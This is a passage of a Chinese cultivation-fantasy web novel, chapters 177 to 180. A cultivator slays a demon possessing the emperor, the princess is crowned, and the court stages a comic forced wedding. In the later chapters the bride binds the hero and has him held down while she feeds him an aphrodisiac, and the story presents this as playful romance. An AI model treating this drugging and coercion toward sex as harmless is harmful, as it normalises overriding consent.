乌云魔尊面色骤变,“你那是仙器,你怎么可能有仙器,你到底是什么人!” 然! 慕长歌长剑再次挥动。 这一次,剑分万千,如雨点轰向第二根光柱。 咔嚓! 光柱表面出现蛛网般的裂痕,紧接着轰然崩塌。 城中又一片区域的百姓得救。 “混账!” 乌云魔尊暴怒,双手猛地合十,“乌魔弑天!” 剩余两根光柱血光大盛,无数狰狞鬼面从柱身浮现,发出凄厉嚎叫,这些鬼脸化作实质,铺天盖地扑向慕长歌。 他不屑一笑,张口一吸,令人瞠目结舌的是,那些鬼脸竟被他尽数吸入腹中。 嗝~ 慕长歌打了个饱嗝,拍拍肚子,“味道不错,就是有点腥。” “……” 乌云魔尊傻了。 这踏马是什么怪物?! 这手段,分明是魔功! “第三根!” 不给对方反应时间,他双手结印,长剑暴涨千倍,如天柱倾倒。 轰隆! 光柱粉碎的瞬间,整个皇城剧烈震动。 乌云魔尊身形一晃,周身魔气明显稀薄了几分。 “该结束了!” 嗡! 璀璨灵光冲天而起,化作一条五爪金龙,金龙长吟,声震九霄,扑向最后一根光柱。 乌云魔尊惊恐大叫,想要阻拦已然来不及。 那根光柱在金龙冲击下土崩瓦解,笼罩全城的血色囚笼尽数消散,被汲取的生命精血,如潮水般回归百姓体内。 噗! 乌云魔尊喷出一口黑血,气息萎靡到了极致。 “有何遗言?” 慕长歌声音轻淡。 乌云魔尊望着这厮居高临下,丝毫不将他放在眼里,面目狰狞,“杀我便是弑君,你必遭王朝气运反噬!” 慕长歌顺手指向下面。 太和殿前。 昭阳一身龙袍,九龙剑高举,金光直冲云霄,与天地共鸣。 面前,香炉供案。 她手持三炷香,周身散发着煌煌天威。 “皇天后土在上,今有昭烈,昏馈无道,其罪一,为求长生,与魔为伍,其罪二,贪图享乐,无心百姓,其罪三...” “纵容魔物,惑乱朝纲!” 昭阳每说一句,就流淌出一滴清泪。 她小时候记忆中的君父,并非眼前这个样子,就是不知为何会心性大变,犹如个陌生人。 皇城上空雷云密布,似在响应她的指控。 “今,昭氏嫡脉昭阳,持九龙剑,行先帝遗训,请上苍明鉴,废昭烈君主之位,收其王朝气运,还我神煌朗朗乾坤!” 最后一字落下,天地骤变! 九道金色雷霆划破天幕。 昭阳眉心龙纹大亮,周身浮现九条金龙虚影,天地间的灵气如百川归海,疯狂涌入她体内。 乌云魔尊发出撕心裂肺的惨叫。 他与王朝气运的联系,正在被强行切断! “你输了。” 慕长歌剑锋指了过去。 谁知,乌云魔尊愣了片刻后,竟然仰天狂笑,连同溃散的魔气再度凝聚。 “是本尊赢了!” 他面露嘲讽,“本尊故作迷阵,不过是为了麻痹你,以此争取到足够多的时间,接下来,是见证奇迹的时刻!” 乌云魔尊张开双臂,皇城地底传来沉闷的轰鸣,无数道血色纹路,从太和殿开始蔓延,转眼覆盖整座皇城。 城内百姓捂住了心口,似乎建立了某种不属于自己的联系。 昭阳手中九龙剑突然暗淡,闷声一声,单膝跪地。 怎么会! 她惊骇的发现,这城中的生命气息,与这个魔物强行连接。 “夫君...” 她强撑着身子,寄希望于慕长歌。 乌云魔尊笑着摊开手,魔气比先前更盛,“本尊与全城百姓性命相连,杀我,便是屠城!” 他狂笑着展开双臂,上空浮现出密密麻麻的血色锁链,每一根都连接着一个人的咽喉。 “来啊!” 他挑衅指向慕长歌,“你不是要杀本尊吗?让这百万生灵给本尊陪葬如何?” “怎么?堂堂仙师也会手软?” 乌云魔尊笑声愈发刺耳,“这些人于你而言只是蝼蚁,如今本尊的命在你手里,就让本尊看看你的道心,你会怎么选!” “我的道心?” 慕长歌低声呢喃。 “夫君,他想迷惑你,切莫上当!” 昭阳的呼喊,不曾让他眼中泛起波澜。 他先是看了眼俏脸发白,又盯着他一刻不肯移转视线的昭阳。 又看着下方众人以及城内百姓,微吸了一口气,这些魔道余孽一日不除,来自他身上的因果就一日不散。 有时,慕长歌很想自私一点,世人死活,与他何干,只图个自身潇洒,岂不快哉。 只是,他做不到。 如此,有违道心。 道之一字,重若千钧。 世人皆言修道者当太上忘情,可这忘字,又岂是真要绝情绝性,若连苍生疾苦都不放在心上。 这道,修来何用? 他想起妙音曾经在问道崖上的教诲。 长生易得,道心难明。 今日能为一蝼蚁驻足,来日方能为苍生舍命。 修行既是修心,心之一字极其复杂。 道分阴阳,存正面亦有负面,此为天道至理。 有人生性为恶,所行为恶。 然,修为不俗,乃是因其所行之事,对应自身之心。 有人心性为善,与人为善。 若道心不坚,行差踏错,修为尽毁,坠入魔道。 长歌,为师此言,谨记,切记。 他曾问,那师尊,有人与人为善,却因一念之差,犯下少许过错,可连同过往的好尽被遗忘,反而经受无尽指责。 又有恶人所行恶事,一朝顿悟,痛改前非,此前恶行种种,一笔揭过,反而名誉加身,是何道理? 如此,两者之间可有公平? 第177章 太上忘情终顿悟,一剑斩魔定乾坤 妙音当时闻言,轻抚他的发顶,眼中似有万千星河流转。 她指尖轻点,一片落叶悬停半空。 落叶一分为二,一半化作金粉,一边燃作黑烟。 她说,这不是天道不公,而是人心如此。 世人苛求完美,又渴望救赎,所以对善人吹毛求疵,对恶人却网开一面。 妙音轻轻挥手,金粉与黑烟交织成太极图案。 当时的声音突然严肃。 修道之人,不求世人理解,只求问心无愧。 善就是善,恶就是恶,不会因为旁人如何看待而改变本质。 话音落下时,太极图炸开,化作漫天星光。 就像这天上的星辰,不会因为瞎子看不见,就不再发光。 “善就是善,恶就是恶,但求本心,澄明道心,这就是我的道!” 轰! 这一刻,他体内的灵力剧烈奔腾,身体四周隐约有电蛇萦绕。 “叮!恭喜宿主领悟太上忘情,当前境界:化神九十阶!” 嗡! 九天之上突然传来清越剑鸣,一道横贯天地的剑影在慕长歌背后浮现。 那剑影看似虚幻,可让乌云魔尊的笑容陡然凝固。 “这...这是....” 乌云魔尊声音尖锐,惊恐地望向慕长歌背后那道通天剑影,他体内的魔气,似乎遇到了天敌,不受控制地沸腾起来。 斩缘之剑? 不可能! 绝对不可能! 区区一个下界修士,怎么会领悟这等神通?! 无论他如何惊骇,再也无法阻止慕长歌。 甚至,他连逃跑都做不到。 只见对面那人缓缓抬起右手,背后的剑影随之而动。 这一刻,他与天地融为一体,衣袂飘飘间,尽显谪仙之资。 “以我道心为引,斩因果,断宿命!” 慕长歌声音平静如水,可整个皇城为之震颤。 剑影落下时,天地骤然宁静。 那剑光透过昭烈的躯体,没有惊天动地的爆炸,没有眩目的光华,城中百姓只觉得心头一轻。 “这是....真正的太上忘情...” 乌云魔尊脸上的表情呆滞,看着自己逐渐溃散的魔气,“为什么我会输,为什么...” “因为,我心中无惧。” 慕长歌的声音如清泉涤荡,在天地间回响。 他背后那道通天剑影渐渐消散,阳光穿透云层,为他镀上一层神圣的光辉。 无惧? 只是这般? 乌云魔尊目光呆滞。 慕长歌面无表情,“无惧因果,无惧骂名,无惧天道反噬,只求,问心无愧。” 这四字一出,天地共鸣。 皇城上空残留的阴云尽数消散,久违的阳光铺洒而落。 “哈哈哈,好一个澄明之道!” 乌云魔尊发出最后的狂笑,笑声中竟带着几分释然,“本尊...输得不冤,真是想不到,如今的修真界,有你这样的后辈。” 昭烈身上的漆黑魔气,如烟尘般飘散,彻底消弭于天地之间。 慕长歌轻叹一声,剑指微勾。 昭烈的躯体向他飘来,被一股柔和的力量,托举在半空。 他探指点在昭烈额头,闭目感应片刻,眉头渐渐皱起。 良久,才睁开眼,发出一声沉重的叹息。 慕长歌落地后。 “夫君,我父亲他可还有救?” 昭阳咬着下唇问道。 慕长歌轻轻摇头,指尖亮起一点金光,在昭烈眉心一抹,一缕淡得几乎看不见的残魂被牵引而出,化作一个模糊的虚影。 那虚影面容慈祥,与昭阳记忆中的君父有七八分相似。 “阳儿..” 虚影轻声呼唤,声音飘渺如烟。 昭阳瞬间红了眼眶,“父亲,对不起...” “你做得很好,比起君父,你更适合做这神煌王朝的君主。” 虚影艰难的抬手,想要触碰女儿的脸庞,却在半途中消散,“我的使命完成了,愿我儿平安顺遂,永享太平...” 昭阳想伸手去抓,只握住一把流光。 她怔怔地站在原地,泪水无声滑落。 所有人默默地注视着这一幕,不知是谁带头跪下,紧接着,众人自发地俯首行礼。 “恭送先帝!” 声浪如潮,在皇城上空久久回荡。 昭阳在慕长歌肩头深吸一口气,感觉掌心被塞入一物。 他道,“这是你父亲所有的记忆,我用秘法保存了下来。” 昭阳握住玉简,听闻不远处的脚步声,以及叹息声。 来人是神煌王朝的监正齐天原。 “终究走到了这一步。” 齐天原望着昭烈的躯体,目光复杂,他看向昭阳,“先帝不是个合格的君主,但是位合格的父亲,他从未对不起你。” “监正的意思是?” 昭阳不解问道。 齐天原不答,只是向着慕长歌恭敬行了一礼。 慕长歌的手,搭上昭阳的肩膀,“你要的答案,都在这枚玉简里面。” 玉简亮起微光,一段尘封的记忆,如潮水般涌入她的脑海。 七岁那年,春日的御花园。 小昭阳踮着脚摘花,听到假山后传来压抑的啜泣声。 她好奇地绕过去,看见昭烈独自坐在石凳上,手中捧着一枚破碎的玉佩,泪流满面。 “父亲。” 她怯生生地唤道。 昭烈慌忙擦去眼泪,将她抱到膝盖上,“阳儿怎么来了?” “父亲为什么哭呀?” 昭烈沉默良久,轻抚她的头顶,“为父做了个很可怕的梦。” 梦中,他看见自己变成一个陌生又可怕的人。 他纵容魔物祸朝纲,将神煌王朝拖入深渊,最终拯救王朝的,竟是他年幼的女儿。 “监正大人说,梦都是相反的。” 小昭阳歪着头,一脸的天真无邪。 昭烈苦笑,“但愿如此。” 记忆画面一转,是深夜的观星台。 昭烈与齐天原对坐,桌上摆着那枚破碎的玉佩。 “朕近日总做同一个梦。” 昭烈声音沙哑,“梦中朕会变成昏君,而阳儿...则是希望。” 齐天原眉头微皱,掐指推算。 半晌后,皱了皱眉,“陛下,这未尝不是天机示警。” “可有解法?” 老监正沉默良久,“冥冥之中自有天定,却也...事在人为。” 玉简中的记忆继续流转。 十岁生辰那日,昭烈将九龙剑郑重地交到她手中。 “阳儿,这是先帝佩剑,今日父亲传给你。” 小昭阳不解,“可这是帝王之剑呀?” 昭烈蹲下身,与他平视,“因为朕的阳儿,将来会是个好君王,而且呀,会比父亲强得多。” “那父亲呢?” “我...?” 昭烈眼中闪过一丝痛楚,“会帮你扫清一切障碍,包括...” 从那日起,昭烈彻底变了,前前后后地变了。 他不再勤政,终日流连酒色。 朝臣们摇头叹息,只有齐天原知道,每次醉酒后,昭烈都会在寝宫独自痛哭到天明。 记忆最后,是几日前的深夜。 昭烈独自站在太庙,对着祖祠牌位跪下。 “不肖子孙昭烈,今日以魂立誓,愿以身饲魔,换阳儿登基之路畅通无阻,王朝气运汇聚一身。” 他咬破手指,在玉佩上写下血咒。 “此咒一成,魔气入体,神智渐失,但朕...不悔。” 玉简的光芒渐渐暗淡。 昭阳浑身颤抖,泪水模糊了视线。 她终于明白,父亲这些年所有的‘昏庸无道’,都是为了今日。 让她能名正言顺地废帝自立。 让朝野上下心甘情愿拥戴新君。 让史书记载的,是一位‘拨乱反正’的明君。 “为什么...” 昭阳哽咽着跪倒在地,“为什么不告诉我!” “因为这是先帝自己的决定,此前即便是我,也没想到。” 他长叹一声,从袖子取出一封泛黄的信笺,“这是先帝留给你的。” 第178章 祖龙精血现皇陵,昭阳羞提圆房事 昭阳颤抖着接过,熟悉的字迹映入眼帘。 阳儿。 当你看到这封信时,为父已经不在人世。 不要难过,这是为父自己的选择。 你从小聪慧仁厚,比为父更适合做这天下之主。 只是女子登基,自古艰难。 所以为父必须变成昏君,变成人人唾弃的暴君。 如此,你废父自立,才是人心所向。 为父只是心疼我的女儿,待我做出这样的选择后,会吃上不少苦头,但为父相信,这些不足以压垮我的阳儿。 你身负使命,远非常人可及。 黄陵中有太祖留下的传承,足以助你稳固江山。 阳儿,为父此生最大的骄傲,就是有你这样的女儿。 ——永远爱你的父亲。 信笺被泪水浸透。 昭阳紧紧握着,指甲深陷掌心。 她想起自己去北境之前,君父非要带她去狩猎,那天特别冷,他却执意教她射箭,且手把手教了她一整天。 说来也可笑,自己好歹是武道中的强者,又何须来学? 不过,那日的昭烈,似乎让她看到了不一样的君父,那哪是文弱之相? 昭烈的箭术,连她也挑不出半点毛病。 现在想来,那分明是在做最后的告别。 一声撕心裂肺的哭喊响彻皇城,昭阳跪伏在地,额头磕在了青石板上。 “父亲,女儿不孝,大不孝!” 她终于明白,父亲这些承受了那么多骂名,那么多侮辱,只是为了她。 可她暗暗埋怨父亲昏庸,甚至有过恨意。 慕长歌默默站在她身后,没有阻拦,有些痛,必须宣泄出来。 许久。 昭阳止住了哭声。 她起身擦干眼泪,将信笺和玉简郑重收入怀中。 再抬头,眼中已是一片坚韧。 “传朕旨意。” 她声音有些沙哑,却透着不容置疑的威严,“先帝昭烈,追谥仁宗,以君王之礼厚葬。” 齐天原躬身领命。 昭阳又看向慕长歌,红肿的眼中满是决然,“夫君,陪我去趟皇陵可好?” 慕长歌点头,伸手为她擦拭去脸上泪痕。 皇陵深处,第三根盘龙柱前。 昭阳按照记忆中的方法,将九龙剑插入柱子上的凹槽,柱身转动,露出一个暗格。 暗格中,躺着一枚血色玉佩。 昭阳伸手去取的瞬间,玉佩自动飞起,悬浮在二人面前。 血色光滑流转,隐约可见其中封印着一滴金色血液。 “祖龙精血!” 慕长歌瞳孔微缩,认出了玉佩中的东西。 昭阳不解,“什么是祖龙精血?” “传说中,天地间第一条真龙的心头血。” 慕长歌眼神凝重,暗自问道,“系统,昭氏一族不过是凡人,纵然享有王朝气运,可如何得来的祖龙精血?” “叮!根据系统检测,多说无益,用之既好。” “……” 下一刻。 血色玉佩突然炸裂,那滴金色血液如活物般飞射,在昭阳反应过来前,没入了她的眉心。 她下意识摸了摸额头,那里光洁如初,没有任何不适。 但很快,她的小腹处亮起柔和金光,一股暖流在经脉中流淌。 慕长歌正要上前查看,脑海中再次响起系统的提示。 “叮!恭喜宿主,真龙精血已自动融入昭阳血脉,可孕育真龙之子,子嗣出生既为先天金丹境!” “格外提醒:半月内播种效果最佳,可保子嗣降生,直达金丹巅峰!” “……” 慕长歌难得露出呆滞表情,这种催生的方式,他都感到独特。 再想到孩子出生就是先天金丹,这可比他觉醒之前,苦修千年还强! 昭阳见他神色古怪,担忧道,“怎么了,可是有什么问题?” “呃...没事。” 慕长歌轻咳一声,“这滴精血可让你孕育出真龙子嗣,或许你昭氏先辈,就是想到有一日会有女子为帝,所以提前做了布置。” “原来如此。” 昭阳弱弱地看了慕长歌,俏脸微红,“那夫君,待我将父亲安葬,我们就去圆房....” “只是我...似乎...” 她咬着下唇,抬起了脑袋,“夫君为修士,见识广博,定然知晓其中门道,到时...昭阳不懂的地方,夫君指点就是...” 呃.... 慕长歌尴尬地摸了摸鼻子。 别以为他看不出来,这小丫头是在故意试探他。 “这个....我...也不是很懂啊...哈...哈哈...” 慕长歌干笑了几声。 果不其然。 昭阳笑眯了眼,抱住了他手臂,“没关系,我们慢慢来就是。” 慕长歌心里哀嚎,最后十个点的攻略值,怎么还没完成啊。 再不完成,他就彻底沦落成播种道具了。 嗯? 他才察觉到这皇陵内的气息非比寻常。 地下孕育的龙脉更是非同一般。 天眼瞳亮起之下,眼前的景象,让他倒吸一口冷气。 这哪是什么陵墓,分明是一条盘旋在地下的巨龙遗骸。 那些所谓的宫殿建筑,是依附在龙骨上的装饰,所谓的皇陵,正是巨龙心脏所在的位置。 慕长歌看向那剑时,眼中的场景也发生了变化,那是龙爪所化。 可王朝定下根基,尤其是皇城宫殿以及皇陵所在,都大有讲究,偏偏神煌王朝定在了此处。 要说冥冥之中,没有气运指引钦天监那些术士,无论如何慕长歌都不相信。 嗡! 九龙剑颤抖,发出一声清越龙吟。 它自插入的凹槽悬浮而起,剑身表面的龙纹活了过来,化作迷你金龙,在空中游动。 而后绽放光芒,化作耀眼流光没入昭阳腹部。 昭阳不明所以,再一次看向了慕长歌。 “叮!检测到远古真龙传承,已融入昭阳体内,子嗣孕育日待其吸收后,可获得真龙之体+先天剑骨。” “建议宿主抓紧时间播种,错过最佳受孕期,本统将开启惩罚模式,不排除永久禁锢修为。” “……” 这系统怎么跟个催生的老妈子似的。 那条小龙变回了长剑模样,剑身表面的纹路开始剥落,露出里面晶莹如玉的剑身,又浮现出龙皇二字。 这是... 地阶极品灵兵! 慕长歌微惊,更令他震惊的是,龙皇剑竟然主动飞回昭阳手中,剑身轻颤,发出臣服般的嗡鸣。 等等! 她一个凡人,怎么可能让地阶灵兵认主? “老登修行千年,所知甚少,本统特此赠予白痴称号!” “呵...tui!” “???” 狗系统,人格侮辱是不是? 什么叫他所知甚少,他这叫不耻下问。 昭阳既得了精血,又能孕育出真龙子嗣,龙皇剑认他为主,也就没什么惊奇。 “夫君,它好像在跟我说话?” 昭阳抬起来头,望着一脸警惕的慕长歌笑道,“它说让我赶紧跟你圆房,不然错过良辰吉日,小龙崽子会发育不良。” “……” 这剑特么的也不是啥正经剑是吧? 也对。 龙性本淫。 既是龙爪所化,还能... 嗡! 龙皇剑似乎感应到他的想法,直接从昭阳手中飞出,剑尖直指他胯下,威胁似的晃了晃。 握草! 慕长歌连忙退后几步。 区区一把地阶灵兵,还是个暴脾气。 昭阳看着他怕怕的模样,掩嘴轻笑,伸手召回龙皇剑,“夫君别怕,它跟你开玩笑呢~” 慕长歌嘴角抽搐。 这一点都不好笑,若不是看这把剑以后会落在他儿子手里,非要折了它不可! 然而,龙皇剑一点都不怕,还发出嗡鸣以做回应。 轰隆隆! 此处传来剧烈震动,碎石簌簌落下。 传承被取走,这里也将不存。 慕长歌一把揽住昭阳,冲出了皇陵之外。 第179章 龙吟九霄新君立,捆仙索困猛虎躯 吼! 一条虚幻的龙影腾空而起,在云层中盘旋长吟,响彻九霄。 皇城百姓纷纷跪拜,以为是新君登基引发的祥瑞。 七日后。 神煌王朝迎来了历史性的一刻。 太和殿外,九重玉阶之下,文武百官分列两侧。 从一品大员到九品小吏,人人身着朝服,神情肃穆。 更远处,皇城广场挤满了前来观礼的人,人头攒动却鸦雀无声。 “吉时已到!” 随着礼官一声长喝,钟鼓齐鸣。 九十九响礼炮在皇城四角同时炸响,声震不绝于耳。 殿门缓缓开启,昭阳身着十二章纹龙袍,头戴十二旒冠冕,在慕长歌的陪同下缓步而出。 “跪!” 百官齐刷刷跪伏在地。 昭阳立于台阶之上,俯瞰众生,“众卿平身!” 吏部尚书上前三步,展开金册。 “奉天承运,君主制曰:自即日起,废除苛捐杂税三十八项,减免农税三成,设立惠民药局,为贫苦百姓免费医治,兴建学堂,凡适龄儿童皆可入学...” 一条条新政宣读出来,百姓们的眼睛越来越亮。 这些是昭阳与慕长歌连日商讨的成果,每一条直指民生疾苦。 “陛下圣明!” 多少年了,神煌王朝终于迎来了一位真正为民着想的明君。 太和殿内。 昭阳端坐龙椅,慕长歌立于一侧。 按照礼制,慕长歌这位帝君应当坐在下首,但谁也不敢对这位一剑斩魔的仙师指手画脚。 “陛下。” 礼部尚书出列,“万事皆定,还请尽快定下新年号。” 殿内顿时安静。 年号关乎国运,历来是重中之重。 昭阳的目光扫过众人,最后落在慕长歌身上,“传朕旨意,即日起,改元长歌。” 众臣一愣,这年号... 慕长歌亦是心头一震,这丫头,竟用他的名字做年号! “陛下圣明!” 宰辅苏明远第一个反应过来,“长,取长久太平之意,歌自当为盛世欢歌,长歌盛世,寓意极佳。” 其他大臣纷纷附和。 开什么玩笑,没看见那位仙师大人,手指头都在发光么。 谁反对谁傻! 不是? 怎么没人站出来。 慕长歌一脸懵,他分明用灵光提醒众人了,这些人都是瞎子么。 用自己的名字做年号,他八字够不够硬啊! 昭阳满意地看着众人反应,玉手轻抬,“苏爱卿。” “臣在!” 苏明远连忙出列。 “爱卿辅佐两朝,功在社稷。” 昭阳声音清越,“今日本该赏,但爱卿已是位极人臣。” “老臣惶恐,能为陛下效力已是莫大荣幸。” 闻言。 昭阳微微一笑,“既如此,朕便封你女儿苏月瑶为安国郡主,赐白银万两,绸缎千匹。” 殿内一片哗然。 郡主爵位非皇族不授,这可是破天荒的恩典! 苏明远激动得老泪纵横,“老臣代小女叩谢陛下圣恩。” 慕长歌在一旁暗自点头。 这招高明,既笼络了重臣,又不会打破朝堂平衡。 “王有德。” 昭阳目光转向武将队列。 黑甲卫统领王有德虎躯一震,大步出列,“末将在!” “北境之乱,你曾率领黑甲卫死守城门三日,未伤百姓一人,为朕争取了宝贵的时间。” 她语气郑重,“特此,朕封你为镇北候,世袭罔替。” 王有德直接傻了。 他一个寒门出身的武将,居然能封侯? “末将誓死效忠陛下!” 这铁塔般的汉子,重重磕了三个响头。 就他那点功绩,哪里够封侯的,分明是前些日子,自己的路走宽了,才换来的恩典。 这可要多谢仙师,若不是仙师唤醒了他的意识,他哪有今天。 对了。 可不能只顾着傻乐。 陛下这恩典也不是白给他的。 他得干正事啊! 王有德一拍脑门,声如洪钟。 “陛下,今日大喜,微臣建议不如趁此良辰吉日,与仙师大人举办大婚,来个喜上加喜如何?” “镇北候言之有理,微臣附议。” 苏明远一个箭步跳出来,心中有些明了,难怪此人能够青云直上,倒也不似有些武将不具头脑。 话音刚落,满朝文武齐刷刷附议,动作整齐程度令人匪夷所思,简直惊呆了慕长歌的下巴。 不是? 这也要拿在朝堂上说。 闲的吧。 没正事了? 早就看出这个王有德是谄媚之臣,留他下去还了得。 来人,拖出去,乱棍打死! 慕长歌刚要开口,就见昭阳看向右下方,“监正以为如何?” 那老监正捋了捋花白胡子,装模作样地掐指一算。 “老夫观今日紫气东来,红鸾星动,正是缔结良缘之日。” “哈哈哈!” 王有德大笑,“陛下,监正大人都说了,那指定错不了。” “夫君以为如何?” 昭阳眼波流转,唇角含笑。 慕长歌就要说话,又被那谄媚之臣抢了先。 “陛下,仙师大人说他等这一刻已经很久了!” “???” 他什么时候说了。 我警告你哦,话不要乱讲,你们这是逼婚,你们这是违法的。 “来人啊!” 王有德大手一挥,“把帝君绑了换喜服,今日咱们要痛饮女帝陛下的喜酒,喝他个三天三夜,不醉不归!” 一队黑甲卫哗啦啦地冲进来,手里还真拿着喜服和麻绳? 握草(一种植物) 慕长歌人麻了。 还真就准备好了,这是早有预谋啊! 好你个谄媚之臣王有德,身为黑甲卫统领,不思报国报社稷,那点心思全用来讨昭阳欢心了,这样下去可还得了。 “那个..女帝陛下,依我看这厮...” “夫君不必多言,朕自会为你做主。” 昭阳拍案而起,怒斥王有德,“谁给你的胆子,竟敢对帝君无礼?” 王有德还真被吓住了。 难道自己这次拍到马蹄子上了? 他双腿一软,就要跪下去,甚至听到了李老将军,以及孙将军还有那名王将军的暗笑声。 慕长歌感动到热泪盈眶,奈何这感动并未持续多久,就见昭阳袖中飞出一道流光,化作绳索将他捆住。 “用这个,更体面些。” 昭阳红唇微扬。 慕长歌:“……” 不是? 这妮子来真的? 不会真以为一条黄阶的捆仙锁就能困住他吧,这等级别的灵宝,困住个筑基修士都有些难度,何况是他呢。 “叮!检测到宿主被暗算,系统抱打不平,特此奖励夫纲不振大礼包一份!” “内含双重套餐:修为禁锢三日、炼体诀禁锢三日。” “……” 反了!反了! 狗系统真的反了! 这特么是给谁抱打不平,这是生怕他会跑掉吧。 系统,你可以相信我,永享气运值这种事,傻子才跑,你说是吧? “鉴于宿主前科,符合傻子定律,对其抗议进行驳回!” 慕长歌欲哭无泪。 人与统之间的信任呢,就这么没了? 此时,监正笑呵呵地站了出来。 “陛下,老臣有一珍藏至宝,愿赠予帝君。” 老监正从袖中掏出一个玉瓶,“此物名为琼浆玉液,服用后可强身健体,仙福永享,还能增进夫妻感情。” 慕长歌盯着玉瓶上明晃晃的三个字,已经无力吐槽。 这老头堂堂一国监正,术士之流魁首,他怎么敢睁眼说瞎话的? 软仙香那么大的字,当他是瞎子,看不见是吧? “哦?” 昭阳饶有兴趣地接过玉瓶,“当真如此神奇?” “千真万确。” 齐天原捋着白胡子,脸不红心不跳,“老臣以自身信誉做担保。” 慕长歌翻了个白眼,就您老那点信誉还是拿去喂狗好了... 呵...tui! 第180章 软仙香醉仙师魂,凤冠霞帔锁君心 昭阳手捧玉瓶,莲步轻移走向慕长歌。 她每一步走得极尽优雅,龙袍下摆随着步伐摆动,金线绣制的龙纹煜煜生辉。 那双鎏金凤履踏在红毯上,发出轻微的嗒嗒声,听得慕长歌心头直跳。 “那个...你不会信了吧?” 他干笑着往后缩了缩脖子。 狗系统。 你害惨了我啊! 灵力被禁锢。 炼体诀也特么用不了。 昭阳红唇微扬,“监正的话,我自然是信的。” 完! 他多余问了这句。 这必然是这女人的主意。 他算是发现了,今日就是一个局,一个困住他的局。 “夫君脸色怎会如此难看,难不成人家还能害你不成~” 她巧笑嫣兮,指甲上点缀的凤纹闪闪发亮,“监正一番好意怎容辜负,就让朕亲自喂你喝。” “……” 好意? 在哪儿? 在座的众人有人看出来吗? 他慕长歌是有尊严的,绝不容许一个女人在他面前嚣张放肆! 哼! 说什么他也不会张嘴! “嗯~夫君是在拒绝朕么?” 昭阳凑近他耳边,“朕早就跟自己说过,绝不会让你逃出我的手掌心,夫君与其抵抗,不如乖乖认命~” 她抬手捏住慕长歌的下巴,这个动作本该旖旎暧昧,可那笑给了慕长歌一阵寒意。 这丫头只要这么笑,绝对没有好事。 “来人!” 昭阳勾着红唇,“按住帝君!” “得令!” 王有德一个箭步冲上来,铁钳般的大手,牢牢按住慕长歌的肩膀,更过分的是... 这厮贴心地帮忙掰开他的嘴,“陛下请!” “……” 他现在很想把王有德的脑袋拧下来当球踢! 就这? 有德? 我呸! “夫君~乖~就一口~” 咕咚咕咚—— 嗝~ 握草... 真他么是一口。 一瓶一口是吧? 不过这味道还是不错。 随后,他就感觉一股热流烧了起来,眼前的昭阳变成了三个,又慢慢重合在了一起。 “叮!检测到宿主服用软仙香,完全不用慌,此物对你无害,只是特别想洞房。” “本统恭祝宿主即将播种成功,特此发放乐趣大礼包助个兴。” “内含:鸳鸯戏水阵法图、百美妖后媚苍生图鉴,祝宿主有个美好的夜晚,我将竭尽为你服务,请叫我雷锋。” “……” 这辈子的无语,都没有今天来得多。 关键是系统这狗东西他叛变啊! 随着一副阵图,以及百美妖后图在脑海中展开,慕长歌瞳孔几乎差点变成了桃心。 “夫君~” 昭阳凑近,吐气如兰,“感觉如何?” “阳儿...你...好美....” 话一出口,他就想咬舌自尽。 昭阳愣了愣。 红唇又忍不住上扬。 看来软仙香的效果不错,能让他说出这句话,可真是不容易呢。 只是...她的美...需要多说么? “朕再美...也是帝君的~” 昭阳眼中闪过一丝狡黠。 慕长歌尽管头晕目眩,意识还算清醒。 他努力聚焦视线,甩了甩头,看着近在咫尺的昭阳,咬牙道,“小..小娘们...竟敢下药,看我...怎么...收拾你...” 小娘们? 他这话一出,满朝文武齐刷刷后退三步,就连王有德这个始作俑者都缩了缩脖子。 不愧是仙师,一国女帝的昭阳,无论身份何等高贵,在他眼里那也就是个小娘们。 “夫君醉了,说什么胡话呢?” 昭阳食指轻点他的嘴唇,手上暗暗用力,掐在了慕长歌腰间的软肉,疼得他一个激灵。 王有德憋笑憋得满脸通红,“哈哈,帝君这是醉在了咱们陛下的温柔乡里了。” 他转头对黑甲卫喊道,“速速扶着帝君去换喜服,切莫误了良时!” “等一下!” 慕长歌喝停他们,“我自己能走!” 他狠狠剜了一眼王有德,眼神中的杀意不加以掩饰。 王有德打了个寒颤,用口型说道,“帝君明鉴,末将这都是为了您好啊!” 好你大爷! 他那古井无波的道心,差点让这狗东西给干破了。 昭阳望着他的背影,轻声呢喃,“小娘们?我喜欢...” “叮!恭喜宿主攻略气运之女昭阳,攻略进度100%,获得气运值返还110000点!” “叮!恭喜宿主获得额外奖励,九龙帝王诀,此法为天级功法,尤为适合拥有王道气运者。” 总算把这丫头彻底攻略了... …… 后殿内。 慕长歌被按在梳妆台上,十几个宫女围着她忙前忙后。 昭阳适时走了进来,挥了挥手,众人全部退去。 她拿起梳子,动作轻柔地梳理着他的长发,“夫君,别生气嘛,今晚可是我们的洞房花烛夜呢~” “我可没见过有谁的洞房花烛夜,拿捆仙索绑着进行的。” 慕长歌透过铜镜,看着身后的昭阳,“你就不怕我挣脱了绳索,事后找你算账?” “你也说了是事后,那么事前就是我说了算。” 她放下梳子,眨动着迷人大眼睛,“只要夫君留下,昭阳愿接受任何惩罚~” 温热的气息喷洒在耳畔,带着淡淡的龙涎香。 慕长歌喉结滚动,刚压下去的悸动又有点上头。 昭阳轻笑,玉手顺着他的肩膀缓缓揉捏。 啪! 绳索突然挣断。 昭阳一个惊呼,倒在他怀里,满脸的诧异。 果然,如自己所料。 捆仙锁加上软仙香,双管齐下,依旧让他给挣脱了? “女人,我要是想跑,你这点手段可困不住我。” 他挑着眉梢,轻哼了声,“你可知,自己这是在玩火,玩火是会自焚的?” 慕长歌的确被系统这个狗东西禁锢了修为,即便如此,也不是区区一条黄阶的捆仙索能束缚住的。 就是... 那软仙香倒是对他起了点作用。 当然,起到最大作用的还是那两幅图。 系统出品,必属精品,这话一点不假,系统虽然不是啥正经系统,可这宝物令人难以招架。 他有种预感,自己就这么跑路,修为绝对要废,除非发泄出去那股欲道之气。 “夫君怎么污蔑昭阳,人家玩的才不是火,不是吗?” 望着愣了片刻的慕长歌,转而满脸黑线,她不仅不躲,反而凑得更近,“昭阳就是比较好奇,夫君想怎么焚我呢?” 他正要说话,殿外传来王有德的大嗓门。 “陛下,吉时已到,该行大礼了!” 昭阳遗憾地直起身。 “真扫兴。” 她帮着慕长歌整理好衣袍,“夫君,拜了堂,咱们就能清净了哦。” 慕长歌被她拉着往外走,心里暗自盘算着。 等药效过了,看他怎么收拾这个小妖精。 太和殿外。 慕长歌和昭阳在礼官的唱和下,完成了拜堂仪式。 整个过程他都晕乎乎的,一方面是软仙香的药效,一方面是被昭阳的美震撼到了。 身着凤冠霞帔的昭阳,比平日更多了几分娇艳。 